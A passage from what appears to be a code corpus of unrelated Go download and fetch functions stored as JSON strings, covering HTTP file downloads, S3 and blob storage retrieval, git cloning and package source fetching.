\"\")\n\n\tpf.SetInterspersed(true)\n\n\tpf.Usage = func() {\n\t\tfmt.Fprintln(os.Stderr, downloadUsage)\n\t}\n\n\tpf.Parse(args[1:])\n\n\tif pf.NArg() == 0 {\n\t\tpf.Usage()\n\t\tos.Exit(2)\n\t}\n\n\tif !fn {\n\t\tdo.Progress = os.Stderr\n\t}\n\n\tfor _, n := range pf.Args() {\n\t\tp, err := king.NewPackage(c, &king.PackageOptions{\n\t\t\tName: n,\n\t\t\tFrom: king.All,\n\t\t})\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tss, err := p.Sources()\n\n\t\t// TODO skip ?\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdd := make([]king.Downloader, 0, len(ss))\n\n\t\tfor _, s := range ss {\n\t\t\tif d, ok := s.(king.Downloader); ok {\n\t\t\t\tdd = append(dd, d)\n\t\t\t}\n\t\t}\n\n\t\tif len(dd) == 0 {\n\t\t\tlog.Infof(\"no one source of %s needing download\", p.Name)\n\t\t} else {\n\t\t\tfor _, d := range dd {\n\t\t\t\t// TODO remove\n\t\t\t\tif fn {\n\t\t\t\t\tlog.Runningf(\"downloading %s\", d)\n\t\t\t\t}\n\n\t\t\t\terr := d.Download(do)\n\n\t\t\t\tif errors.Is(err, king.ErrDownloadAlreadyExist) {\n\t\t\t\t\tlog.Info(err)\n\t\t\t\t} else if err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func downloadFile(filename string) ([]byte, int, error) {\n\th := md5.New()\n\tctx := context.Background()\n\tfr, err := ts.tu.VOSClient.GetObject(ctx, filename)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tbuf := make([]byte, 1024)\n\ttotsize := 0\n\tfor {\n\t\tn, err := fr.Read(buf)\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\tif n == 0 {\n\t\t\tbreak\n\t\t}\n\t\ttotsize += n\n\t\tif _, err = h.Write(buf[:n]); err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t}\n\treturn h.Sum(nil), totsize, nil\n}", "func Download() {\n\tfor _, file := range utils.TTLFiles {\n\t\thead, err := http.Head(TTLURL + file.Name)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tsize, err := strconv.Atoi(head.Header.Get(\"Content-Length\"))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tlast, err := http.ParseTime(head.Header.Get(\"Last-Modified\"))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\thead.Body.Close()\n\t\tstat, err := os.Stat(\"./\" + file.Name)\n\t\tif err != nil || stat.ModTime().Before(last) || stat.Size() != int64(size) {\n\t\t\tfmt.Println(\"downloading\", file, size, last)\n\t\t\tresponse, err := http.Get(TTLURL + file.Name)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tout, err := os.Create(\"./\" + file.Name)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\t_, err = io.Copy(out, response.Body)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tresponse.Body.Close()\n\t\t\tout.Close()\n\n\t\t\terr = os.Chtimes(\"./\"+file.Name, last, last)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Println(\"skipping\", file, size, last)\n\t\t}\n\t}\n\treturn\n}", "func downloadToFolder(folder string, posts []reddit.Post, config SubredditConfig, wg *sync.WaitGroup) {\n fmt.Println(\"Go routine to download\", len(posts), \"posts\")\n defer wg.Done()\n\n for _, post := range posts {\n\n // Get the post data\n downloadPost := reddit.GetDownloadPost(post)\n\n if downloadPost.Score < config.MinScore && config.MinScore > 0 {\n continue\n }\n\n // Determine output location\n outputFile := folder + downloadPost.Title + downloadPost.FileType\n\n // Download the file\n err := http.DownloadFile(outputFile, downloadPost.Url, nil)\n util.CheckWarn(err)\n\n fmt.Println(\"Downloaded:\", downloadPost.Title, \"\\n\\tID:\", downloadPost.Id, \"\\tScore:\", downloadPost.Score)\n }\n}", "func fetchAll(root string) (sliceDir []os.FileInfo, targetInfo os.FileInfo, errFunc error) {\n\tsliceDir, errFunc = ioutil.ReadDir(root)\n\tif errFunc != nil {\n\t\t// Not a directory so probably a file ? Check for it\n\t\ttargetInfo, errFunc = os.Stat(root)\n\t\tif errFunc != nil {\n\t\t\tfmt.Println(redB(\":: [ERROR]\"), color.HiRedString(\"Could not read the file(s), sad story!\"))\n\t\t\ttargetInfo = nil\n\t\t}\n\t\tsliceDir = nil\n\t}\n\treturn\n}", "func (j *DSGitHub) FetchItemsRepository(ctx *Ctx) (err error) {\n\titems := []interface{}{}\n\titem, err := j.githubRepo(ctx, j.Org, j.Repo)\n\tFatalOnError(err)\n\tif item == nil {\n\t\tFatalf(\"there is no such repo %s/%s\", j.Org, j.Repo)\n\t}\n\titem[\"fetched_on\"] = fmt.Sprintf(\"%.6f\", float64(time.Now().UnixNano())/1.0e9)\n\tesItem := j.AddMetadata(ctx, item)\n\tif ctx.Project != \"\" {\n\t\titem[\"project\"] = ctx.Project\n\t}\n\tesItem[\"data\"] = item\n\titems = append(items, esItem)\n\terr = SendToElastic(ctx, j, true, UUID, items)\n\tif err != nil {\n\t\tPrintf(\"%s/%s: Error %v sending %d messages to ES\\n\", j.URL, j.Category, err, len(items))\n\t}\n\treturn\n}", "func (c *ReportsFilesGetCall) Download(opts ...googleapi.CallOption) (*http.Response, error) {\n\tgensupport.SetOptions(c.urlParams_, opts...)\n\tres, err := c.doRequest(\"media\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := googleapi.CheckResponse(res); err != nil {\n\t\tres.Body.Close()\n\t\treturn nil, err\n\t}\n\treturn res, nil\n}", "func (g *goGetter) Download(remoteURL, destPath string) (string, error) {\n\n\tzap.S().Debugf(\"download with remote url: %q, destination dir: %q\",\n\t\tremoteURL, destPath)\n\n\t// validations: remote url or destination dir path cannot be empty\n\tif remoteURL == \"\" || destPath == \"\" {\n\t\tzap.S().Error(ErrEmptyURLDest)\n\t\treturn \"\", ErrEmptyURLDest\n\t}\n\n\t// get repository url, subdir from given remote url\n\tURLWithType, subDir, err := g.GetURLSubDir(remoteURL, destPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// downloading from remote addr\n\tclient := getter.Client{\n\t\tSrc: URLWithType,\n\t\tDst: destPath,\n\t\tPwd: destPath,\n\t\tMode: getter.ClientModeDir,\n\t\tDetectors: goGetterNoDetectors,\n\t\tDecompressors: goGetterDecompressors,\n\t\tGetters: goGetterGetters,\n\t}\n\terr = client.Get()\n\tif err != nil {\n\t\tzap.S().Errorf(\"failed to download %q. error: '%v'\", URLWithType, err)\n\t\treturn \"\", err\n\t}\n\n\t// Our subDir string can contain wildcards until this point, so that\n\t// e.g. a subDir of * can expand to one top-level directory in a .tar.gz\n\t// archive. Now that we've expanded the archive successfully we must\n\t// resolve that into a concrete path.\n\tfinalDir := destPath\n\tif subDir != \"\" {\n\t\tfinalDir, err = getter.SubdirGlob(destPath, subDir)\n\t\tif err != nil {\n\t\t\tzap.S().Errorf(\"failed to expand %q to %q\", subDir, finalDir)\n\t\t\treturn \"\", err\n\t\t}\n\t\tzap.S().Debugf(\"expanded %q to %q\", subDir, finalDir)\n\t}\n\n\t// If we got this far then we have apparently succeeded in downloading\n\t// the requested object!\n\treturn filepath.Clean(finalDir), nil\n}", "func (a *app) Download(w http.ResponseWriter, request provider.Request) {\n\tzipWriter := zip.NewWriter(w)\n\tdefer func() {\n\t\tif err := zipWriter.Close(); err != nil {\n\t\t\tlogger.Error(\"unable to close zip: %s\", err)\n\t\t}\n\t}()\n\n\tfilename := path.Base(request.Path)\n\tif filename == \"/\" && request.Share != nil {\n\t\tfilename = path.Base(path.Join(request.Share.RootName, request.Path))\n\t}\n\n\tw.Header().Set(\"Content-Disposition\", fmt.Sprintf(\"attachment; filename=%s.zip\", filename))\n\n\tif err := a.zipFiles(request, zipWriter, \"\"); err != nil {\n\t\ta.renderer.Error(w, request, provider.NewError(http.StatusInternalServerError, err))\n\t}\n}", "func (d *downloader) Download(u *url.URL, out writeSyncer) error {\n\tclient, err := d.Session.Client()\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := d.Session.Request(u)\n\tif err != nil {\n\t\treturn err\n\t}\n\tres, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif stopNow, err := d.Session.HandleStatus(res); stopNow || err != nil {\n\t\treturn err\n\t}\n\n\treader, err := d.Session.BodyReader(res)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif _, err := io.Copy(out, reader); err != nil {\n\t\treturn errwrap.Wrap(fmt.Errorf(\"failed to download %q\", u.String()), err)\n\t}\n\n\tif err := out.Sync(); err != nil {\n\t\treturn errwrap.Wrap(fmt.Errorf(\"failed to sync data from %q to disk\", u.String()), err)\n\t}\n\n\treturn nil\n}", "func Download() {\n\t//call upload on get from first node (self address port)\n\tresp, err := http.Get(FIRST_NODE_ADDR + \"/upload\")\n\n\tif err != nil {\n\t\tprintln(err)\n\t\tos.Exit(1)\n\t}\n\tif resp.StatusCode == 200 {\n\t\trespData, erro := ioutil.ReadAll(resp.Body)\n\t\tif erro != nil {\n\t\t\tprintln(err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tSBC.UpdateEntireBlockChain(string(respData))\n\t}\n\n}", "func (bs *Blobstore) Download(node *node.Node) (io.ReadCloser, error) {\n\tfile, err := os.Open(bs.path(node))\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"could not read blob '%s'\", bs.path(node))\n\t}\n\treturn file, nil\n}", "func (resource *GitResource) DownloadRemoteResource(fileSystem filemanager.FileSystem, downloadPath string) (err error, result *remoteresource.DownloadResult) {\n\tlog := resource.context.Log()\n\tif downloadPath == \"\" {\n\t\tdownloadPath = appconfig.DownloadRoot\n\t}\n\n\terr = fileSystem.MakeDirs(downloadPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Cannot create download path %s: %v\", downloadPath, err.Error()), nil\n\t}\n\n\tlog.Debug(\"Destination path to download into - \", downloadPath)\n\n\tauthMethod, err := resource.Handler.GetAuthMethod(log)\n\tif err != nil {\n\t\treturn err, nil\n\t}\n\n\t// Clone first into a random directory to safely collect downloaded files. There may already be other files in the\n\t// download directory which must be avoided\n\ttempCloneDir, err := fileSystem.CreateTempDir(downloadPath, \"tempCloneDir\")\n\tif err != nil {\n\t\treturn log.Errorf(\"Cannot create temporary directory to clone into: %s\", err.Error()), nil\n\t}\n\tdefer func() {\n\t\tdeleteErr := fileSystem.DeleteDirectory(tempCloneDir)\n\t\tif deleteErr != nil {\n\t\t\tlog.Warnf(\"Cannot remove temporary directory: %s\", deleteErr.Error())\n\t\t}\n\t}()\n\n\trepository, err := resource.Handler.CloneRepository(log, authMethod, tempCloneDir)\n\tif err != nil {\n\t\treturn err, nil\n\t}\n\n\tif err := resource.Handler.PerformCheckout(core.NewGitRepository(repository)); err != nil {\n\t\treturn err, nil\n\t}\n\n\tresult = &remoteresource.DownloadResult{}\n\tresult.Files, err = collectFilesAndRebaseFunction(tempCloneDir, downloadPath)\n\tif err != nil {\n\t\treturn err, nil\n\t}\n\n\terr = moveFilesFunction(tempCloneDir, downloadPath)\n\tif err != nil {\n\t\treturn err, nil\n\t}\n\n\treturn nil, result\n}", "func (c *CommandGo) ModuleDownload(modulePathPatterns ...string) (result []*ModuleDownloadResult, err error) {\n\tcmdArgs := []string{\"mod\", \"download\", \"-json\"}\n\tcmdArgs = append(cmdArgs, modulePathPatterns...)\n\tjsonResult, err := c.runWithJSONResults(cmdArgs)\n\tif nil != err {\n\t\treturn\n\t}\n\tdefer jsonResult.Wait()\n\tok := true\n\tfor ok {\n\t\tvar aux ModuleDownloadResult\n\t\tif ok, err = jsonResult.Decode(&aux); ok {\n\t\t\tresult = append(result, &aux)\n\t\t} else if nil != err {\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}", "func (gc *recursiveGetContents) downloadURL(ctx context.Context, downloadURL string) ([]byte, error) {\n\treq, err := http.NewRequest(http.MethodGet, downloadURL, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"building request\")\n\t}\n\tresp, err := gc.httpClient.Do(req.WithContext(ctx))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"performing http request\")\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, errors.Errorf(\"got status %d\", resp.StatusCode)\n\t}\n\treturn ioutil.ReadAll(resp.Body)\n}", "func (service FTPFileDownloaderService) Download(configID string) (filePath string, err error) {\n\t// Fetch config from db\n\tconf, err := service.db.Find(configID)\n\tfmt.Println(conf, err)\n\n\t// using config download file\n\t// pass ioStream to filesaverService and return filepath returned by FileSavserService.Save\n\treturn\n}", "func getAllFiles(j *job.Job) {\n\tcomplete := make(chan *job.Document, j.DocCount())\n\tfailures := make(chan error, j.DocCount())\n\tfor i := range j.DocList {\n\t\tgo getFile(&j.DocList[i], complete, failures)\n\t}\n\n\twaitForDownloads(j, complete, failures)\n}", "func (l *Loader) download(ctx context.Context, basepath string, bk book.Book) error {\n\ttype downloader func(context.Context, string, book.Book) error\n\tvar downloaders = []downloader{\n\t\tl.downloadAudiobook,\n\t\tl.downloadBook,\n\t\tl.downloadCover,\n\t\t// Demo files and photos of books are mostly information garbage that\n\t\t// accumulates like snow as you download books for study, so I preferred\n\t\t// to disable downloading this data.\n\t\t// l.downloadDemo,\n\t\t// l.downloadPhotos,\n\t}\n\n\twg, ctx := errgroup.WithContext(ctx)\n\tfor i := range downloaders {\n\t\tf := downloaders[i]\n\t\twg.Go(func() error {\n\t\t\treturn f(ctx, basepath, bk)\n\t\t})\n\t}\n\n\treturn wg.Wait()\n}", "func getRemoteArtifactWorker(artDetails *jfauth.ServiceDetails, chFolder chan string, chFile chan<- string) {\n\trmtBaseURL := \"api/storage\"\n\tfor f := range chFolder {\n\t\trmtPath := \"\"\n\t\tif f[0] != '/' {\n\t\t\trmtPath = \"/\" + f\n\t\t} else {\n\t\t\trmtPath = f\n\t\t}\n\t\trmtURL := rmtBaseURL + rmtPath\n\n\t\t//fmt.Printf(\"accumulated files : %d, remaining folders : %d, checking : %s\\n\", files.Len(), folders.Len(), rmtURL)\n\n\t\tresp, err := getHttpResp(artDetails, rmtURL)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"GET HTTP failed for url : %s\\n\", rmtURL)\n\t\t\tjflog.Error(fmt.Sprintf(\"GET HTTP failed for url : %s\", rmtURL))\n\t\t}\n\t\t//fmt.Printf(\"getHttpResp() done : %s\\n\", f)\n\t\tArtiInfo := &ArtifactInfo{}\n\t\tif err := json.Unmarshal(resp, &ArtiInfo); err != nil {\n\t\t\tfmt.Printf(\"Unable to fetch file and folders for url : %s\\n\", rmtURL)\n\t\t\tjflog.Error(fmt.Sprintf(\"Unable to fetch file and folders for url : %s\", rmtURL))\n\t\t\tcontinue\n\t\t}\n\t\t//fmt.Printf(\"json.Unmarshal done, count of items in folder : %d\\n\", len(ArtiInfo.Children))\n\t\tfor _, c := range ArtiInfo.Children {\n\t\t\tif c.Folder == true {\n\t\t\t\tchFolder <- rmtPath + c.Uri\n\t\t\t} else {\n\t\t\t\tchFile <- rmtPath + c.Uri\n\t\t\t}\n\t\t}\n\t\t//fmt.Printf(\"completed folder : %s\\n\", f)\n\t}\n}", "func (r *Syncer) storeRepo(checksumMap map[string]XMLChecksum) (err error) {\n\tpackagesToDownload, packagesToRecycle, err := r.processMetadata(checksumMap)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdownloadCount := len(packagesToDownload)\n\tlog.Printf(\"Downloading %v packages...\\n\", downloadCount)\n\tfor i, pack := range packagesToDownload {\n\t\tdescription := fmt.Sprintf(\"(%v/%v) %v\", i+1, downloadCount, path.Base(pack.Location.Href))\n\t\terr = r.downloadStoreApply(pack.Location.Href, pack.Checksum.Checksum, description, hashMap[pack.Checksum.Type], util.Nop)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\trecycleCount := len(packagesToRecycle)\n\tlog.Printf(\"Recycling %v packages...\\n\", recycleCount)\n\tfor _, pack := range packagesToRecycle {\n\t\terr = r.storage.Recycle(pack.Location.Href)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tlog.Printf(\"Committing changes...\\n\")\n\terr = r.storage.Commit()\n\tif err != nil {\n\t\treturn\n\t}\n\treturn\n}", "func FetchAllRepos(username string) (*RepoData, error) {\n\tavatarURL := \"\"\n\tstarCount := 0\n\trepoCount := 0\n\tforkCount := 0\n\tlangMap := make(map[string]int32)\n\tvar cursor *string\n\tvar bestRepo *UserRepositoryEdge\n\n\tfor {\n\t\tdata, err := FetchRepo(username, cursor)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tavatarURL = data.Data.User.AvatarURL\n\t\trepoCount = data.Data.User.Repositories.TotalCount\n\n\t\tfor i := 0; i < len(data.Data.User.Repositories.Edges); i++ {\n\t\t\tedge := data.Data.User.Repositories.Edges[i]\n\t\t\tstarCount += edge.Node.Stargazers.TotalCount\n\t\t\tforkCount += edge.Node.ForkCount\n\n\t\t\tif bestRepo == nil {\n\t\t\t\tbestRepo = &edge\n\t\t\t} else if edge.Node.Stargazers.TotalCount > bestRepo.Node.Stargazers.TotalCount {\n\t\t\t\tbestRepo = &edge\n\t\t\t}\n\n\t\t\tif edge.Node.PrimaryLanguage != nil {\n\t\t\t\tlangMap[edge.Node.PrimaryLanguage.Name]++\n\t\t\t} else {\n\t\t\t\tlangMap[\"Others\"]++\n\t\t\t}\n\t\t}\n\n\t\tif data.Data.User.Repositories.PageInfo.HasNextPage {\n\t\t\tcursor = &data.Data.User.Repositories.PageInfo.EndCursor\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn &RepoData{\n\t\tAvatarURL: avatarURL,\n\t\tStarCount: starCount,\n\t\tRepoCount: repoCount,\n\t\tForkCount: forkCount,\n\t\tLanguageMap: langMap,\n\t\tTopRepo: bestRepo,\n\t}, nil\n}", "func getRepoList(projectID int64) ([]string, error) {\n\t/*\n\t\tuiUser := os.Getenv(\"UI_USR\")\n\t\tif len(uiUser) == 0 {\n\t\t\tuiUser = \"admin\"\n\t\t}\n\t\tuiPwd := os.Getenv(\"UI_PWD\")\n\t\tif len(uiPwd) == 0 {\n\t\t\tuiPwd = \"Harbor12345\"\n\t\t}\n\t*/\n\tuiURL := config.LocalUIURL()\n\tclient := &http.Client{}\n\treq, err := http.NewRequest(\"GET\", uiURL+\"/api/repositories?project_id=\"+strconv.Itoa(int(projectID)), nil)\n\tif err != nil {\n\t\tlog.Errorf(\"Error when creating request: %v\", err)\n\t\treturn nil, err\n\t}\n\t//req.SetBasicAuth(uiUser, uiPwd)\n\treq.AddCookie(&http.Cookie{Name: models.UISecretCookie, Value: config.UISecret()})\n\t//dump, err := httputil.DumpRequest(req, true)\n\t//log.Debugf(\"req: %q\", dump)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Errorf(\"Error when calling UI api to get repositories, error: %v\", err)\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Errorf(\"Unexpected status code: %d\", resp.StatusCode)\n\t\tdump, _ := httputil.DumpResponse(resp, true)\n\t\tlog.Debugf(\"response: %q\", dump)\n\t\treturn nil, fmt.Errorf(\"Unexpected status code when getting repository list: %d\", resp.StatusCode)\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to read the response body, error: %v\", err)\n\t\treturn nil, err\n\t}\n\tvar repoList []string\n\terr = json.Unmarshal(body, &repoList)\n\treturn repoList, err\n}", "func downloadNationalTreasure(dir string, skip bool) error {\n\turls, err := getURLs(nationalTreasureBaseURL, nationalTreasureGetURLs, dir, skip)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error gathering resources for national treasure download: %w\", err)\n\t}\n\tif len(urls) == 0 {\n\t\treturn nil\n\t}\n\tfor _, u := range urls {\n\t\tif err := simpleDownload(u, dir); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func downloadReports(config *ScanOptions, utils whitesourceUtils, sys whitesource) ([]piperutils.Path, error) {\n\tif err := utils.MkdirAll(config.ReportDirectoryName, os.ModePerm); err != nil {\n\t\treturn nil, err\n\t}\n\tvulnPath, err := downloadVulnerabilityReport(config, utils, sys)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\triskPath, err := downloadRiskReport(config, utils, sys)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn []piperutils.Path{*vulnPath, *riskPath}, nil\n}", "func Download(url string) []byte {\n\tvar resp *http.Response\n\tvar body []byte\n\n\tsleeper()\n\n\tresp, body = httpRequest(url)\n\tif resp != nil {\n\t\tif resp.StatusCode != 200 {\n\t\t\tConfiguration.Logger.Warning.Printf(\"[%d] StatusCode - %s\\n\", resp.StatusCode, url)\n\t\t}\n\t} else {\n\t\tConfiguration.Logger.Warning.Printf(\"BodyNil - %s\\n\", url)\n\t}\n\treturn body\n}", "func (c *Client) Download(name, version string) (string, error) {\n\t// Create temporary directory.\n\tdir, err := ioutil.TempDir(\"\", \"\")\n\tif err != nil {\n\t\treturn \"\", xerrors.Errorf(\"create temp dir: %w\", err)\n\t}\n\n\t// Write package contents to the target directory.\n\terr = c.read(name, version, func(name string, contents io.Reader) error {\n\t\toutPath := path.Join(dir, strings.TrimPrefix(name, \"package\"))\n\n\t\terr := os.MkdirAll(path.Dir(outPath), os.ModePerm)\n\t\tif err != nil {\n\t\t\treturn xerrors.Errorf(\"create file output path: %w\", err)\n\t\t}\n\n\t\toutFile, err := os.Create(outPath)\n\t\tif err != nil {\n\t\t\treturn xerrors.Errorf(\"create output file: %w\", err)\n\t\t}\n\n\t\t_, err = io.Copy(outFile, contents)\n\t\tif err != nil {\n\t\t\treturn xerrors.Errorf(\"write file contents: %w\", err)\n\t\t}\n\n\t\terr = outFile.Close()\n\t\tif err != nil {\n\t\t\treturn xerrors.Errorf(\"close file: %w\", err)\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn \"\", xerrors.Errorf(\"read package contents: %w\", err)\n\t}\n\n\treturn dir, nil\n}", "func (gc *recursiveGetContents) downloadContent(ctx context.Context, path string, size int, downloadURL string) error {\n\tdefer gc.wg.Done()\n\tcontent, err := gc.downloadURL(ctx, downloadURL)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"get content from %s\", downloadURL)\n\t}\n\tgc.mu.Lock()\n\tdefer gc.mu.Unlock()\n\treturn gc.tree.AddFileContent(path, content)\n}", "func downloader(wg *sync.WaitGroup, semaphore chan struct{}, URL string) {\n\tsemaphore <- struct{}{}\n\tdefer func() {\n\t\t<-semaphore\n\t\twg.Done()\n\t}()\n\n\tclient := &http.Client{Timeout: 900 * time.Second}\n\tresult, err := client.Get(URL)\n\tif err != nil {\n\t\tlog.Printf(\"Error from server while executing request: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := result.Body.Close(); err != nil {\n\t\t\tlog.Printf(\"Error while reading response body: %v\", err)\n\t\t}\n\t}()\n\n\tvar buf bytes.Buffer\n\t// I'm copying to a buffer before writing it to file\n\t// I could also just use IO copy to write it to the file\n\t// directly and save memory by dumping to the disk directly.\n\t_, _ = io.Copy(&buf, result.Body)\n\t// write the bytes to file\n\tfileName := util.GetFileNameFromUrl(URL)\n\t_ = ioutil.WriteFile(\"./output/\"+fileName, buf.Bytes(), 0644)\n\tnumFilesDownloaded++\n\tlog.Printf(\"Downloaded file with name: %s -> (%d/%d)\", fileName, numFilesDownloaded, numFiles)\n\treturn\n}", "func Download(url string, port int, secure bool, accesskey string, secretkey string, enckey string, filelist map[string]string, bucket string, nuke bool) ([]string, error) {\n\t// break up map into 5 parts\n\tjobs := make(chan map[string]string, MAX)\n\tresults := make(chan string, len(filelist))\n\t// reset progress bar\n\n\t// This starts up MAX workers, initially blocked\n\t// because there are no jobs yet.\n\tfor w := 1; w <= MAX; w++ {\n\t\tgo downloadfile(bucket, url, secure, accesskey, secretkey, enckey, w, nuke, jobs, int32(len(filelist)), results)\n\t}\n\n\t// Here we send MAX `jobs` and then `close` that\n\t// channel to indicate that's all the work we have.\n\tfor hash, fpath := range filelist {\n\t\tjob := make(map[string]string)\n\t\tjob[hash] = fpath\n\t\tjobs <- job\n\t}\n\tclose(jobs)\n\n\tvar grmsgs []string\n\tvar failed []string\n\t// Finally we collect all the results of the work.\n\tfor a := 1; a <= len(filelist); a++ {\n\t\tgrmsgs = append(grmsgs, <-results)\n\t}\n\tclose(results)\n\tvar count float64\n\tvar errCount float64\n\tfor _, msg := range grmsgs {\n\t\tif msg != \"\" {\n\t\t\terrCount++\n\t\t\tfailed = append(failed, msg)\n\t\t} else {\n\t\t\tcount++\n\t\t}\n\t}\n\t//fmt.Println(count, \" files downloaded successfully.\")\n\n\tif errCount != 0 {\n\t\tout := fmt.Sprintf(\"Failed to download: %v files\", errCount)\n\t\tfmt.Println(out)\n\t\treturn failed, errors.New(out)\n\t}\n\treturn failed, nil\n\n}", "func (client *DataClient) Download(key string) (io.ReadCloser, error) {\n\tvar r io.ReadCloser\n\tfor i := 0; i <= NoOfRetries; i++ {\n\t\tparams := &s3.GetObjectInput{\n\t\t\tBucket: aws.String(client.Bucket), // Required\n\t\t\tKey: aws.String(key), // Required\n\t\t}\n\t\tresp, err := client.Service.GetObject(params)\n\n\t\tif err != nil {\n\t\t\tif i < NoOfRetries {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, errors.Wrapf(err, \"failed to download '%v'\", key)\n\t\t}\n\t\tr = resp.Body\n\t\tbreak\n\t}\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"group\": LogGroup,\n\t\t\"action\": \"download\",\n\t\t\"key\": key,\n\t}).Debugf(\"Downloaded %s\", key)\n\treturn r, nil\n}", "func DownloadRemoteArtifacts(artDetails *jfauth.ServiceDetails, rtfacts *list.List, tgtDir string) error {\n\tfiles := make(chan string, 1024)\n\n\tvar workerg sync.WaitGroup\n\tconst numWorkers = 40\n\tworkerg.Add(numWorkers)\n\tfor i := 0; i < numWorkers; i++ {\n\t\tgo func() {\n\t\t\tdownloadRemoteArtifactWorker(artDetails, files, tgtDir)\n\t\t\tworkerg.Done()\n\t\t}()\n\t}\n\tjflog.Info(fmt.Sprintf(\"Created %d downloadRemoteArtifactWorker() go routines\", numWorkers))\n\n\tcount := 1\n\tfor e := rtfacts.Front(); e != nil; e = e.Next() {\n\t\tf := e.Value.(string)\n\t\tif f[0] == '/' {\n\t\t\tf = strings.Replace(f, \"/\", \"\", 1)\n\t\t}\n\n\t\tfiles <- f\n\t\tif count%1000 == 0 {\n\t\t\tjflog.Info(fmt.Sprintf(\"completed sending %d rtfacts for download\", count))\n\t\t\t//break\n\t\t}\n\t\tcount++\n\t}\n\tjflog.Info(fmt.Sprintf(\"Completed sending %d rtfacts for downloading, waiting for 60s\", count))\n\ttime.Sleep(60 * time.Second)\n\tclose(files)\n\tjflog.Info(fmt.Sprintf(\"Closing files channel, waiting for all downloadRemoteArtifactWorker() to complete\"))\n\tworkerg.Wait()\n\tjflog.Info(fmt.Sprintf(\"All downloadRemoteArtifactWorker() completed\"))\n\treturn nil\n}", "func (s *Storage) Download(ctx context.Context, path, toFile string) error {\n\tobj, err := s.Object(ctx, path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdownloadToken := obj[\"downloadTokens\"].(string)\n\n\tout, err := os.Create(toFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\treader, err := s.Read(path, downloadToken)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer reader.Close()\n\n\t_, err = io.Copy(out, reader)\n\treturn err\n}", "func (c *Client) Download(url string, path string) error {\n\t// Get the data\n\tresp, err := c.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t_, err = os.Stat(path)\n\tif err == nil || os.IsExist(err) {\n\t\treturn os.ErrExist\n\t}\n\t// captures errors other than does not exist\n\tif err != nil && !os.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\t// Create the file with .tmp extension, so that we won't overwrite a\n\t// file until it's downloaded fully\n\tout, err := os.Create(path + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Create our bytes counter and pass it to be used alongside our writer\n\tcounter := &writeCounter{Name: filepath.Base(path)}\n\t_, err = io.Copy(out, io.TeeReader(resp.Body, counter))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// The progress use the same line so print a new line once it's finished downloading\n\tfmt.Println()\n\n\t// Rename the tmp file back to the original file\n\terr = os.Rename(path+\".tmp\", path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (feed *feed) Download(path string) {\n\tfeed.DownloadN(path, -1)\n}", "func download(file File, reader ReadProgress) *Download {\n\treturn &Download{\n\t\tFile: file,\n\t\treader: reader,\n\t\tdone: make(chan struct{}),\n\t}\n}", "func (bh BlobHandler) DownloadFiles(containerName string, blobPrefix string, filePath string) error {\n\tcontainer := bh.blobStorageClient.GetContainerReference(containerName)\n\n\tblobList := bh.listBlobs(containerName, 